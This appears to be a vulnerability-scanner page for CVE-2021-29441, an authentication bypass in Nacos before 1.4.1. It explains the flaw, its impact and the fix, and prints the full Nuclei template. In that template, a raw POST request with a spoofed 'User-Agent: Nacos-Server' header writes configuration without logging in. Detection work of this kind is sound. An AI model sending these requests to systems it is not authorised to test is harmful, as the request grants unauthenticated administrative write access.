Nacos <1.4.1 - Authentication Bypass

criticalseverity

9.8CVSS score

83.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.

Fix

Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441).

How to confirm it

Send: POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld
Positive when: status_code_1 == 403 and status_code_2 == 200 AND contains(body_1, 'Forbidden') and body_2 == 'true' AND contains in header "application/json"

Run it with nuclei: nuclei -id CVE-2021-29441 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-29441

info:
  name: Nacos <1.4.1 - Authentication Bypass
  author: dwisiswant0
  severity: critical
  description: |
    This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.

    In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
    Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
    enables Nacos servers to bypass this filter and therefore skip authentication checks.
    This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
    This issue may allow any user to carry out any administrative tasks on the Nacos server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
  remediation: |
    Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441).
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
    - https://github.com/alibaba/nacos/issues/4701
    - https://github.com/advisories/GHSA-36hp-jr8h-556f
    - https://github.com/alibaba/nacos/pull/4703
    - https://github.com/bakery312/Vulhub-Reproduce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-29441
    cwe-id: CWE-290
    epss-score: 0.83236
    epss-percentile: 0.99682
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: alibaba
    product: nacos
  tags: cve2021,cve,nacos,auth-bypass,alibaba,vkev,vuln

http:
  - raw:
      - |
        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        User-Agent: Nacos-Server

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 403"
          - "status_code_2 == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body_1, 'Forbidden')"
          - "body_2 == 'true'"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

References

Use this check only on systems you are authorised to test. Where the data comes from